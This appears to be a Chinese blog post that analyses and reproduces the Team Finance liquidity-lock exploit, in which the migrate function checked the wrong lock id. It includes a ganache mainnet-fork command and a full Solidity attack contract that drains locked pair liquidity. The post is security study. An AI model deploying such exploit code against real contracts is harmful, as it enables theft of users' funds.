邯郸学步——Team Finance复现

team finance锁定的交易对的从v2迁移v3过程中, 因为检查不当导致构造利用任意的交易对可以迁移其他交易对。

攻击hash:

0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f

0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce

攻击者合约:

 0xCFF07C4e6aa9E2fEc04DAaF5f41d1b10f3adAdF4

攻击者地址:

0x161cebB807Ac181d5303A4cCec2FC580CC5899Fd

0xEB2423fBeb5d94Cd83136A74341a39a2487Fb3cb

分析过程:

准备工作

0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f

准备工作做了两个事情

1、获取交易费用

2、锁定Token 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF 获取锁定id 15324

锁定Token
锁定Token

攻击过程

0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce

通过调用Team Finance Lock的migrate,将之前准备好的id传入迁移参数。这个过程中迁移了1%的锁定FEG-ETH,然后将剩余的99%代币转换为ETH转入攻击者的第二个地址0xEB2423fBeb5d94Cd83136A74341a39a2487Fb3cb

迁移V2->V3
迁移V2->V3

代码分析:

参数如下

(_id=15324, params=(pair=[Uniswap V2: FEG], liquidityToMigrate=15000000000000000000000, percentageToMigrate=1, token0=0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, token1=[Wrapped Ether], fee=500, tickLower=-100, tickUpper=100, amount0Min=0, amount1Min=0, recipient=0xBa399a2580785A2dEd740F5e30EC89Fb3E617e6E, deadline=1666859863, refundAsETH=true), noLiquidity=true, sqrtPriceX96=79210883607084793911461085816, _mintNFT=false)

/**
    * migrate liquidity from v2 to v3
*/
function migrate(
    uint256 _id,
    IV3Migrator.MigrateParams calldata params,
    bool noLiquidity,
    uint160 sqrtPriceX96,
    bool _mintNFT
)
......
{
//检查管理员地址,和本次攻击无关
    require(address(nonfungiblePositionManager) != address(0), "NFT manager not set");
    require(address(v3Migrator) != address(0), "v3 migrator not set");
//检查锁定token时长,这里可以构造
    Items memory lockedERC20 = lockedToken[_id];
    require(block.timestamp < lockedERC20.unlockTime, "Unlock time already reached");
//检查迁移调用者为锁定token的提币地址,问题出在这里,原本应该检查FEG锁定的情况,这里只检查了传入id的所代表的token情况,引发了漏洞
    require(_msgSender() == lockedERC20.withdrawalAddress, "Unauthorised sender");
    require(!lockedERC20.withdrawn, "Already withdrawn");
......

乱七八糟的复现攻击代码

毕竟没写过solidity,乱七八糟的写了写,复现了下攻击。

首先用ganache还原到攻击前的高度15837892,并解锁攻击者的地址

ganache-cli --fork.url https://eth-mainnet.g.alchemy.com/v2/key -h 0.0.0.0 --fork.blockNumber  15837892 -n -u "0x161cebB807Ac181d5303A4cCec2FC580CC5899Fd"

攻击代码

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IV3Migrator {
    struct MigrateParams {
        address pair; // the Uniswap v2-compatible pair
        uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)
        uint8 percentageToMigrate; // represented as a numerator over 100
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Min; // must be discounted by percentageToMigrate
        uint256 amount1Min; // must be discounted by percentageToMigrate
        address recipient;
        uint256 deadline;
        bool refundAsETH;
    }
}

interface LockToken {
    
    function getFeesInETH(
        address  _tokenAddress
    ) external returns (uint256);
    function lockToken(
        address _tokenAddress,
        address _withdrawalAddress,
        uint256 _amount,
        uint256 _unlockTime,
        bool _mintNFT
    )external payable returns (uint256 _id);
    function migrate(
        uint256 _id,
        IV3Migrator.MigrateParams calldata params,
        bool noLiquidity,
        uint160 sqrtPriceX96,
        bool _mintNFT
    )external payable;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
}

contract Hack {
    address public owner;
    address public constant LOCKTOKEN = 0xE2fE530C047f2d85298b07D9333C05737f1435fB;
    address public constant FAKETOKEN = 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF;
    address public constant UniswapV2Paire = 0x854373387E41371Ac6E307A1F29603c6Fa10D872;

    event Deposit(uint256 id);
    event GetFeesOver(uint256 num);
    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function getFeesInETH(address tokenaddress) external returns (uint256 fees){
        fees =  LockToken(LOCKTOKEN).getFeesInETH(tokenaddress);
        emit GetFeesOver(fees);
    }

    function lockToken(uint256 locktime, uint256 amount) external payable onlyOwner  returns (uint256 _id){
        uint256 fee = LockToken(LOCKTOKEN).getFeesInETH(FAKETOKEN);
        emit GetFeesOver(fee);
        _id = LockToken(LOCKTOKEN).lockToken{value: msg.value}(0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, address(this), amount, locktime, false);
        emit Deposit(_id);
    }

    function hack(uint256 id) external  onlyOwner {
        uint balanceOfFEG = IUniswapV2Pair(UniswapV2Paire).balanceOf(LOCKTOKEN);
        IV3Migrator.MigrateParams memory param = IV3Migrator.MigrateParams(UniswapV2Paire, balanceOfFEG, 1, 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, 500,-100,100,0,0,address(this),1669826489,true);
        //LockToken(LOCKTOKEN).migrate(id, param ,true, 79210883607084793911461085816, false);
        LockToken(LOCKTOKEN).migrate(id, param ,true, 79210883607084793, false);
    }
    event Received(address Sender, uint Value);
    receive() external payable {
        emit Received(msg.sender, msg.value);
    }
}

总结一下

  • 这次漏洞的代码比较简单,只是因为鉴权不当导致资产损失。有些感悟可以凡是涉及到资产调用的合约代码,查看其信息流是否可控完成漏洞攻击。

  • solidity的代码还是要多写,各种函数属性都会不是很熟悉。